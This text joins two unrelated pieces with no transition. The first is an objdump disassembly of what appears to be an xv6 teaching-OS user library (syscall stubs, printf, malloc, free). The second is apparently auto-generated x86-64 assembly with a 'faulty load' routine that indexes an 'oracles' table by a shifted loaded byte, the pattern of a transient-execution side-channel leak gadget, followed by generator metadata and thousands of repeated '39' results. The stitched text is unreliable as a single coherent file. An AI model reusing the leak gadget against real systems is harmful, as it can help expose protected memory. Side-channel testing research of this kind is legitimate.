SYSCALL(sleep) 3b2: b8 0d 00 00 00 mov $0xd,%eax 3b7: cd 40 int $0x40 3b9: c3 ret 000003ba <uptime>: SYSCALL(uptime) 3ba: b8 0e 00 00 00 mov $0xe,%eax 3bf: cd 40 int $0x40 3c1: c3 ret 000003c2 <info>: SYSCALL(info) // LAB-1 3c2: b8 16 00 00 00 mov $0x16,%eax 3c7: cd 40 int $0x40 3c9: c3 ret 000003ca <tickets>: SYSCALL(tickets) // LAB-2 3ca: b8 17 00 00 00 mov $0x17,%eax 3cf: cd 40 int $0x40 3d1: c3 ret 000003d2 <clone>: SYSCALL(clone) // LAB-3 3d2: b8 18 00 00 00 mov $0x18,%eax 3d7: cd 40 int $0x40 3d9: c3 ret 3da: 66 90 xchg %ax,%ax 3dc: 66 90 xchg %ax,%ax 3de: 66 90 xchg %ax,%ax 000003e0 <printint>: write(fd, &c, 1); } static void printint(int fd, int xx, int base, int sgn) { 3e0: 55 push %ebp 3e1: 89 e5 mov %esp,%ebp 3e3: 57 push %edi 3e4: 56 push %esi 3e5: 53 push %ebx 3e6: 89 c6 mov %eax,%esi 3e8: 83 ec 3c sub $0x3c,%esp char buf[16]; int i, neg; uint x; neg = 0; if(sgn && xx < 0){ 3eb: 8b 5d 08 mov 0x8(%ebp),%ebx 3ee: 85 db test %ebx,%ebx 3f0: 74 7e je 470 <printint+0x90> 3f2: 89 d0 mov %edx,%eax 3f4: c1 e8 1f shr $0x1f,%eax 3f7: 84 c0 test %al,%al 3f9: 74 75 je 470 <printint+0x90> neg = 1; x = -xx; 3fb: 89 d0 mov %edx,%eax int i, neg; uint x; neg = 0; if(sgn && xx < 0){ neg = 1; 3fd: c7 45 c4 01 00 00 00 movl $0x1,-0x3c(%ebp) x = -xx; 404: f7 d8 neg %eax 406: 89 75 c0 mov %esi,-0x40(%ebp) } else { x = xx; } i = 0; 409: 31 ff xor %edi,%edi 40b: 8d 5d d7 lea -0x29(%ebp),%ebx 40e: 89 ce mov %ecx,%esi 410: eb 08 jmp 41a <printint+0x3a> 412: 8d b6 00 00 00 00 lea 0x0(%esi),%esi do{ buf[i++] = digits[x % base]; 418: 89 cf mov %ecx,%edi 41a: 31 d2 xor %edx,%edx 41c: 8d 4f 01 lea 0x1(%edi),%ecx 41f: f7 f6 div %esi 421: 0f b6 92 10 09 00 00 movzbl 0x910(%edx),%edx }while((x /= base) != 0); 428: 85 c0 test %eax,%eax x = xx; } i = 0; do{ buf[i++] = digits[x % base]; 42a: 88 14 0b mov %dl,(%ebx,%ecx,1) }while((x /= base) != 0); 42d: 75 e9 jne 418 <printint+0x38> if(neg) 42f: 8b 45 c4 mov -0x3c(%ebp),%eax 432: 8b 75 c0 mov -0x40(%ebp),%esi 435: 85 c0 test %eax,%eax 437: 74 08 je 441 <printint+0x61> buf[i++] = '-'; 439: c6 44 0d d8 2d movb $0x2d,-0x28(%ebp,%ecx,1) 43e: 8d 4f 02 lea 0x2(%edi),%ecx 441: 8d 7c 0d d7 lea -0x29(%ebp,%ecx,1),%edi 445: 8d 76 00 lea 0x0(%esi),%esi 448: 0f b6 07 movzbl (%edi),%eax #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 44b: 83 ec 04 sub $0x4,%esp 44e: 83 ef 01 sub $0x1,%edi 451: 6a 01 push $0x1 453: 53 push %ebx 454: 56 push %esi 455: 88 45 d7 mov %al,-0x29(%ebp) 458: e8 e5 fe ff ff call 342 <write> buf[i++] = digits[x % base]; }while((x /= base) != 0); if(neg) buf[i++] = '-'; while(--i >= 0) 45d: 83 c4 10 add $0x10,%esp 460: 39 df cmp %ebx,%edi 462: 75 e4 jne 448 <printint+0x68> putc(fd, buf[i]); } 464: 8d 65 f4 lea -0xc(%ebp),%esp 467: 5b pop %ebx 468: 5e pop %esi 469: 5f pop %edi 46a: 5d pop %ebp 46b: c3 ret 46c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi neg = 0; if(sgn && xx < 0){ neg = 1; x = -xx; } else { x = xx; 470: 89 d0 mov %edx,%eax static char digits[] = "0123456789ABCDEF"; char buf[16]; int i, neg; uint x; neg = 0; 472: c7 45 c4 00 00 00 00 movl $0x0,-0x3c(%ebp) 479: eb 8b jmp 406 <printint+0x26> 47b: 90 nop 47c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 00000480 <printf>: } // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, const char *fmt, ...) { 480: 55 push %ebp 481: 89 e5 mov %esp,%ebp 483: 57 push %edi 484: 56 push %esi 485: 53 push %ebx int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 486: 8d 45 10 lea 0x10(%ebp),%eax } // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, const char *fmt, ...) { 489: 83 ec 2c sub $0x2c,%esp int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 48c: 8b 75 0c mov 0xc(%ebp),%esi } // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, const char *fmt, ...) { 48f: 8b 7d 08 mov 0x8(%ebp),%edi int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 492: 89 45 d0 mov %eax,-0x30(%ebp) 495: 0f b6 1e movzbl (%esi),%ebx 498: 83 c6 01 add $0x1,%esi 49b: 84 db test %bl,%bl 49d: 0f 84 b0 00 00 00 je 553 <printf+0xd3> 4a3: 31 d2 xor %edx,%edx 4a5: eb 39 jmp 4e0 <printf+0x60> 4a7: 89 f6 mov %esi,%esi 4a9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi c = fmt[i] & 0xff; if(state == 0){ if(c == '%'){ 4b0: 83 f8 25 cmp $0x25,%eax 4b3: 89 55 d4 mov %edx,-0x2c(%ebp) state = '%'; 4b6: ba 25 00 00 00 mov $0x25,%edx state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ c = fmt[i] & 0xff; if(state == 0){ if(c == '%'){ 4bb: 74 18 je 4d5 <printf+0x55> #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 4bd: 8d 45 e2 lea -0x1e(%ebp),%eax 4c0: 83 ec 04 sub $0x4,%esp 4c3: 88 5d e2 mov %bl,-0x1e(%ebp) 4c6: 6a 01 push $0x1 4c8: 50 push %eax 4c9: 57 push %edi 4ca: e8 73 fe ff ff call 342 <write> 4cf: 8b 55 d4 mov -0x2c(%ebp),%edx 4d2: 83 c4 10 add $0x10,%esp 4d5: 83 c6 01 add $0x1,%esi int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 4d8: 0f b6 5e ff movzbl -0x1(%esi),%ebx 4dc: 84 db test %bl,%bl 4de: 74 73 je 553 <printf+0xd3> c = fmt[i] & 0xff; if(state == 0){ 4e0: 85 d2 test %edx,%edx uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ c = fmt[i] & 0xff; 4e2: 0f be cb movsbl %bl,%ecx 4e5: 0f b6 c3 movzbl %bl,%eax if(state == 0){ 4e8: 74 c6 je 4b0 <printf+0x30> if(c == '%'){ state = '%'; } else { putc(fd, c); } } else if(state == '%'){ 4ea: 83 fa 25 cmp $0x25,%edx 4ed: 75 e6 jne 4d5 <printf+0x55> if(c == 'd'){ 4ef: 83 f8 64 cmp $0x64,%eax 4f2: 0f 84 f8 00 00 00 je 5f0 <printf+0x170> printint(fd, *ap, 10, 1); ap++; } else if(c == 'x' || c == 'p'){ 4f8: 81 e1 f7 00 00 00 and $0xf7,%ecx 4fe: 83 f9 70 cmp $0x70,%ecx 501: 74 5d je 560 <printf+0xe0> printint(fd, *ap, 16, 0); ap++; } else if(c == 's'){ 503: 83 f8 73 cmp $0x73,%eax 506: 0f 84 84 00 00 00 je 590 <printf+0x110> s = "(null)"; while(*s != 0){ putc(fd, *s); s++; } } else if(c == 'c'){ 50c: 83 f8 63 cmp $0x63,%eax 50f: 0f 84 ea 00 00 00 je 5ff <printf+0x17f> putc(fd, *ap); ap++; } else if(c == '%'){ 515: 83 f8 25 cmp $0x25,%eax 518: 0f 84 c2 00 00 00 je 5e0 <printf+0x160> #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 51e: 8d 45 e7 lea -0x19(%ebp),%eax 521: 83 ec 04 sub $0x4,%esp 524: c6 45 e7 25 movb $0x25,-0x19(%ebp) 528: 6a 01 push $0x1 52a: 50 push %eax 52b: 57 push %edi 52c: e8 11 fe ff ff call 342 <write> 531: 83 c4 0c add $0xc,%esp 534: 8d 45 e6 lea -0x1a(%ebp),%eax 537: 88 5d e6 mov %bl,-0x1a(%ebp) 53a: 6a 01 push $0x1 53c: 50 push %eax 53d: 57 push %edi 53e: 83 c6 01 add $0x1,%esi 541: e8 fc fd ff ff call 342 <write> int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 546: 0f b6 5e ff movzbl -0x1(%esi),%ebx #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 54a: 83 c4 10 add $0x10,%esp } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); } state = 0; 54d: 31 d2 xor %edx,%edx int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 54f: 84 db test %bl,%bl 551: 75 8d jne 4e0 <printf+0x60> putc(fd, c); } state = 0; } } } 553: 8d 65 f4 lea -0xc(%ebp),%esp 556: 5b pop %ebx 557: 5e pop %esi 558: 5f pop %edi 559: 5d pop %ebp 55a: c3 ret 55b: 90 nop 55c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi } else if(state == '%'){ if(c == 'd'){ printint(fd, *ap, 10, 1); ap++; } else if(c == 'x' || c == 'p'){ printint(fd, *ap, 16, 0); 560: 83 ec 0c sub $0xc,%esp 563: b9 10 00 00 00 mov $0x10,%ecx 568: 6a 00 push $0x0 56a: 8b 5d d0 mov -0x30(%ebp),%ebx 56d: 89 f8 mov %edi,%eax 56f: 8b 13 mov (%ebx),%edx 571: e8 6a fe ff ff call 3e0 <printint> ap++; 576: 89 d8 mov %ebx,%eax 578: 83 c4 10 add $0x10,%esp } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); } state = 0; 57b: 31 d2 xor %edx,%edx if(c == 'd'){ printint(fd, *ap, 10, 1); ap++; } else if(c == 'x' || c == 'p'){ printint(fd, *ap, 16, 0); ap++; 57d: 83 c0 04 add $0x4,%eax 580: 89 45 d0 mov %eax,-0x30(%ebp) 583: e9 4d ff ff ff jmp 4d5 <printf+0x55> 588: 90 nop 589: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi } else if(c == 's'){ s = (char*)*ap; 590: 8b 45 d0 mov -0x30(%ebp),%eax 593: 8b 18 mov (%eax),%ebx ap++; 595: 83 c0 04 add $0x4,%eax 598: 89 45 d0 mov %eax,-0x30(%ebp) if(s == 0) s = "(null)"; 59b: b8 08 09 00 00 mov $0x908,%eax 5a0: 85 db test %ebx,%ebx 5a2: 0f 44 d8 cmove %eax,%ebx while(*s != 0){ 5a5: 0f b6 03 movzbl (%ebx),%eax 5a8: 84 c0 test %al,%al 5aa: 74 23 je 5cf <printf+0x14f> 5ac: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 5b0: 88 45 e3 mov %al,-0x1d(%ebp) #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 5b3: 8d 45 e3 lea -0x1d(%ebp),%eax 5b6: 83 ec 04 sub $0x4,%esp 5b9: 6a 01 push $0x1 ap++; if(s == 0) s = "(null)"; while(*s != 0){ putc(fd, *s); s++; 5bb: 83 c3 01 add $0x1,%ebx #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 5be: 50 push %eax 5bf: 57 push %edi 5c0: e8 7d fd ff ff call 342 <write> } else if(c == 's'){ s = (char*)*ap; ap++; if(s == 0) s = "(null)"; while(*s != 0){ 5c5: 0f b6 03 movzbl (%ebx),%eax 5c8: 83 c4 10 add $0x10,%esp 5cb: 84 c0 test %al,%al 5cd: 75 e1 jne 5b0 <printf+0x130> } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); } state = 0; 5cf: 31 d2 xor %edx,%edx 5d1: e9 ff fe ff ff jmp 4d5 <printf+0x55> 5d6: 8d 76 00 lea 0x0(%esi),%esi 5d9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 5e0: 83 ec 04 sub $0x4,%esp 5e3: 88 5d e5 mov %bl,-0x1b(%ebp) 5e6: 8d 45 e5 lea -0x1b(%ebp),%eax 5e9: 6a 01 push $0x1 5eb: e9 4c ff ff ff jmp 53c <printf+0xbc> } else { putc(fd, c); } } else if(state == '%'){ if(c == 'd'){ printint(fd, *ap, 10, 1); 5f0: 83 ec 0c sub $0xc,%esp 5f3: b9 0a 00 00 00 mov $0xa,%ecx 5f8: 6a 01 push $0x1 5fa: e9 6b ff ff ff jmp 56a <printf+0xea> 5ff: 8b 5d d0 mov -0x30(%ebp),%ebx #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 602: 83 ec 04 sub $0x4,%esp 605: 8b 03 mov (%ebx),%eax 607: 6a 01 push $0x1 609: 88 45 e4 mov %al,-0x1c(%ebp) 60c: 8d 45 e4 lea -0x1c(%ebp),%eax 60f: 50 push %eax 610: 57 push %edi 611: e8 2c fd ff ff call 342 <write> 616: e9 5b ff ff ff jmp 576 <printf+0xf6> 61b: 66 90 xchg %ax,%ax 61d: 66 90 xchg %ax,%ax 61f: 90 nop 00000620 <free>: static Header base; static Header *freep; void free(void *ap) { 620: 55 push %ebp Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 621: a1 ac 0b 00 00 mov 0xbac,%eax static Header base; static Header *freep; void free(void *ap) { 626: 89 e5 mov %esp,%ebp 628: 57 push %edi 629: 56 push %esi 62a: 53 push %ebx 62b: 8b 5d 08 mov 0x8(%ebp),%ebx Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 62e: 8b 10 mov (%eax),%edx void free(void *ap) { Header *bp, *p; bp = (Header*)ap - 1; 630: 8d 4b f8 lea -0x8(%ebx),%ecx for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 633: 39 c8 cmp %ecx,%eax 635: 73 19 jae 650 <free+0x30> 637: 89 f6 mov %esi,%esi 639: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 640: 39 d1 cmp %edx,%ecx 642: 72 1c jb 660 <free+0x40> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 644: 39 d0 cmp %edx,%eax 646: 73 18 jae 660 <free+0x40> static Header base; static Header *freep; void free(void *ap) { 648: 89 d0 mov %edx,%eax Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 64a: 39 c8 cmp %ecx,%eax if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 64c: 8b 10 mov (%eax),%edx free(void *ap) { Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 64e: 72 f0 jb 640 <free+0x20> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 650: 39 d0 cmp %edx,%eax 652: 72 f4 jb 648 <free+0x28> 654: 39 d1 cmp %edx,%ecx 656: 73 f0 jae 648 <free+0x28> 658: 90 nop 659: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi break; if(bp + bp->s.size == p->s.ptr){ 660: 8b 73 fc mov -0x4(%ebx),%esi 663: 8d 3c f1 lea (%ecx,%esi,8),%edi 666: 39 d7 cmp %edx,%edi 668: 74 19 je 683 <free+0x63> bp->s.size += p->s.ptr->s.size; bp->s.ptr = p->s.ptr->s.ptr; } else bp->s.ptr = p->s.ptr; 66a: 89 53 f8 mov %edx,-0x8(%ebx) if(p + p->s.size == bp){ 66d: 8b 50 04 mov 0x4(%eax),%edx 670: 8d 34 d0 lea (%eax,%edx,8),%esi 673: 39 f1 cmp %esi,%ecx 675: 74 23 je 69a <free+0x7a> p->s.size += bp->s.size; p->s.ptr = bp->s.ptr; } else p->s.ptr = bp; 677: 89 08 mov %ecx,(%eax) freep = p; 679: a3 ac 0b 00 00 mov %eax,0xbac } 67e: 5b pop %ebx 67f: 5e pop %esi 680: 5f pop %edi 681: 5d pop %ebp 682: c3 ret bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) break; if(bp + bp->s.size == p->s.ptr){ bp->s.size += p->s.ptr->s.size; 683: 03 72 04 add 0x4(%edx),%esi 686: 89 73 fc mov %esi,-0x4(%ebx) bp->s.ptr = p->s.ptr->s.ptr; 689: 8b 10 mov (%eax),%edx 68b: 8b 12 mov (%edx),%edx 68d: 89 53 f8 mov %edx,-0x8(%ebx) } else bp->s.ptr = p->s.ptr; if(p + p->s.size == bp){ 690: 8b 50 04 mov 0x4(%eax),%edx 693: 8d 34 d0 lea (%eax,%edx,8),%esi 696: 39 f1 cmp %esi,%ecx 698: 75 dd jne 677 <free+0x57> p->s.size += bp->s.size; 69a: 03 53 fc add -0x4(%ebx),%edx p->s.ptr = bp->s.ptr; } else p->s.ptr = bp; freep = p; 69d: a3 ac 0b 00 00 mov %eax,0xbac bp->s.size += p->s.ptr->s.size; bp->s.ptr = p->s.ptr->s.ptr; } else bp->s.ptr = p->s.ptr; if(p + p->s.size == bp){ p->s.size += bp->s.size; 6a2: 89 50 04 mov %edx,0x4(%eax) p->s.ptr = bp->s.ptr; 6a5: 8b 53 f8 mov -0x8(%ebx),%edx 6a8: 89 10 mov %edx,(%eax) } else p->s.ptr = bp; freep = p; } 6aa: 5b pop %ebx 6ab: 5e pop %esi 6ac: 5f pop %edi 6ad: 5d pop %ebp 6ae: c3 ret 6af: 90 nop 000006b0 <malloc>: return freep; } void* malloc(uint nbytes) { 6b0: 55 push %ebp 6b1: 89 e5 mov %esp,%ebp 6b3: 57 push %edi 6b4: 56 push %esi 6b5: 53 push %ebx 6b6: 83 ec 0c sub $0xc,%esp Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 6b9: 8b 45 08 mov 0x8(%ebp),%eax if((prevp = freep) == 0){ 6bc: 8b 15 ac 0b 00 00 mov 0xbac,%edx malloc(uint nbytes) { Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 6c2: 8d 78 07 lea 0x7(%eax),%edi 6c5: c1 ef 03 shr $0x3,%edi 6c8: 83 c7 01 add $0x1,%edi if((prevp = freep) == 0){ 6cb: 85 d2 test %edx,%edx 6cd: 0f 84 a3 00 00 00 je 776 <malloc+0xc6> 6d3: 8b 02 mov (%edx),%eax 6d5: 8b 48 04 mov 0x4(%eax),%ecx base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ if(p->s.size >= nunits){ 6d8: 39 cf cmp %ecx,%edi 6da: 76 74 jbe 750 <malloc+0xa0> 6dc: 81 ff 00 10 00 00 cmp $0x1000,%edi 6e2: be 00 10 00 00 mov $0x1000,%esi 6e7: 8d 1c fd 00 00 00 00 lea 0x0(,%edi,8),%ebx 6ee: 0f 43 f7 cmovae %edi,%esi 6f1: ba 00 80 00 00 mov $0x8000,%edx 6f6: 81 ff ff 0f 00 00 cmp $0xfff,%edi 6fc: 0f 46 da cmovbe %edx,%ebx 6ff: eb 10 jmp 711 <malloc+0x61> 701: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; if((prevp = freep) == 0){ base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 708: 8b 02 mov (%edx),%eax if(p->s.size >= nunits){ 70a: 8b 48 04 mov 0x4(%eax),%ecx 70d: 39 cf cmp %ecx,%edi 70f: 76 3f jbe 750 <malloc+0xa0> p->s.size = nunits; } freep = prevp; return (void*)(p + 1); } if(p == freep) 711: 39 05 ac 0b 00 00 cmp %eax,0xbac 717: 89 c2 mov %eax,%edx 719: 75 ed jne 708 <malloc+0x58> char *p; Header *hp; if(nu < 4096) nu = 4096; p = sbrk(nu * sizeof(Header)); 71b: 83 ec 0c sub $0xc,%esp 71e: 53 push %ebx 71f: e8 86 fc ff ff call 3aa <sbrk> if(p == (char*)-1) 724: 83 c4 10 add $0x10,%esp 727: 83 f8 ff cmp $0xffffffff,%eax 72a: 74 1c je 748 <malloc+0x98> return 0; hp = (Header*)p; hp->s.size = nu; 72c: 89 70 04 mov %esi,0x4(%eax) free((void*)(hp + 1)); 72f: 83 ec 0c sub $0xc,%esp 732: 83 c0 08 add $0x8,%eax 735: 50 push %eax 736: e8 e5 fe ff ff call 620 <free> return freep; 73b: 8b 15 ac 0b 00 00 mov 0xbac,%edx } freep = prevp; return (void*)(p + 1); } if(p == freep) if((p = morecore(nunits)) == 0) 741: 83 c4 10 add $0x10,%esp 744: 85 d2 test %edx,%edx 746: 75 c0 jne 708 <malloc+0x58> return 0; 748: 31 c0 xor %eax,%eax 74a: eb 1c jmp 768 <malloc+0xb8> 74c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ if(p->s.size >= nunits){ if(p->s.size == nunits) 750: 39 cf cmp %ecx,%edi 752: 74 1c je 770 <malloc+0xc0> prevp->s.ptr = p->s.ptr; else { p->s.size -= nunits; 754: 29 f9 sub %edi,%ecx 756: 89 48 04 mov %ecx,0x4(%eax) p += p->s.size; 759: 8d 04 c8 lea (%eax,%ecx,8),%eax p->s.size = nunits; 75c: 89 78 04 mov %edi,0x4(%eax) } freep = prevp; 75f: 89 15 ac 0b 00 00 mov %edx,0xbac return (void*)(p + 1); 765: 83 c0 08 add $0x8,%eax } if(p == freep) if((p = morecore(nunits)) == 0) return 0; } } 768: 8d 65 f4 lea -0xc(%ebp),%esp 76b: 5b pop %ebx 76c: 5e pop %esi 76d: 5f pop %edi 76e: 5d pop %ebp 76f: c3 ret base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ if(p->s.size >= nunits){ if(p->s.size == nunits) prevp->s.ptr = p->s.ptr; 770: 8b 08 mov (%eax),%ecx 772: 89 0a mov %ecx,(%edx) 774: eb e9 jmp 75f <malloc+0xaf> Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; if((prevp = freep) == 0){ base.s.ptr = freep = prevp = &base; 776: c7 05 ac 0b 00 00 b0 movl $0xbb0,0xbac 77d: 0b 00 00 780: c7 05 b0 0b 00 00 b0 movl $0xbb0,0xbb0 787: 0b 00 00 base.s.size = 0; 78a: b8 b0 0b 00 00 mov $0xbb0,%eax 78f: c7 05 b4 0b 00 00 00 movl $0x0,0xbb4 796: 00 00 00 799: e9 3e ff ff ff jmp 6dc <malloc+0x2c>
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r12 push %r13 push %r15 push %rbx push %rcx push %rdi push %rsi lea addresses_normal_ht+0x1c0c8, %rsi nop nop nop nop sub %r11, %r11 mov $0x6162636465666768, %r13 movq %r13, %xmm1 movups %xmm1, (%rsi) sub %rbx, %rbx lea addresses_UC_ht+0x14258, %rsi lea addresses_A_ht+0x1f38, %rdi nop nop nop nop dec %r12 mov $28, %rcx rep movsl nop nop sub %rcx, %rcx lea addresses_D_ht+0x4738, %r12 nop nop nop nop xor $599, %rcx mov (%r12), %bx nop nop inc %r12 lea addresses_normal_ht+0x9508, %rbx nop nop nop nop inc %r13 movl $0x61626364, (%rbx) nop nop nop nop nop dec %rcx lea addresses_WC_ht+0xb8, %rcx nop nop nop nop nop cmp %r12, %r12 mov $0x6162636465666768, %rsi movq %rsi, %xmm4 vmovups %ymm4, (%rcx) nop nop add %rbx, %rbx lea addresses_WC_ht+0x11038, %r12 nop nop nop nop nop cmp %rsi, %rsi mov (%r12), %r11d sub %rsi, %rsi lea addresses_A_ht+0x3a06, %rsi lea addresses_A_ht+0x9b78, %rdi nop nop sub $33800, %r15 mov $119, %rcx rep movsl nop add $48481, %r11 lea addresses_WC_ht+0x1d898, %r12 clflush (%r12) nop nop nop nop nop add $10264, %rdi movb (%r12), %bl nop xor %r15, %r15 lea addresses_normal_ht+0x1a370, %r15 nop nop and %rsi, %rsi mov $0x6162636465666768, %rbx movq %rbx, %xmm2 vmovups %ymm2, (%r15) nop nop xor $17214, %rsi lea addresses_normal_ht+0x19d17, %rsi lea addresses_A_ht+0x1b98, %rdi nop nop nop sub %r11, %r11 mov $52, %rcx rep movsb nop and %r13, %r13 pop %rsi pop %rdi pop %rcx pop %rbx pop %r15 pop %r13 pop %r12 pop %r11 ret .global s_faulty_load s_faulty_load: push %r10 push %r13 push %r9 push %rbx push %rdx // Faulty Load lea addresses_WT+0xf938, %rdx nop inc %r9 movb (%rdx), %r10b lea oracles, %rdx and $0xff, %r10 shlq $12, %r10 mov (%rdx,%r10,1), %r10 pop %rdx pop %rbx pop %r9 pop %r13 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 0, 'same': False, 'type': 'addresses_WT'}, 'OP': 'LOAD'} [Faulty Load] {'src': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 0, 'same': True, 'type': 'addresses_WT'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'dst': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 4, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'STOR'} {'src': {'congruent': 5, 'same': False, 'type': 'addresses_UC_ht'}, 'dst': {'congruent': 9, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'REPM'} {'src': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 9, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'LOAD'} {'dst': {'NT': False, 'AVXalign': True, 'size': 4, 'congruent': 4, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 7, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'STOR'} {'src': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 4, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 1, 'same': False, 'type': 'addresses_A_ht'}, 'dst': {'congruent': 5, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'REPM'} {'src': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 1, 'same': True, 'type': 'addresses_WC_ht'}, 'OP': 'LOAD'} {'dst': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'STOR'} {'src': {'congruent': 0, 'same': False, 'type': 'addresses_normal_ht'}, 'dst': {'congruent': 3, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'REPM'} {'39': 21829} 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 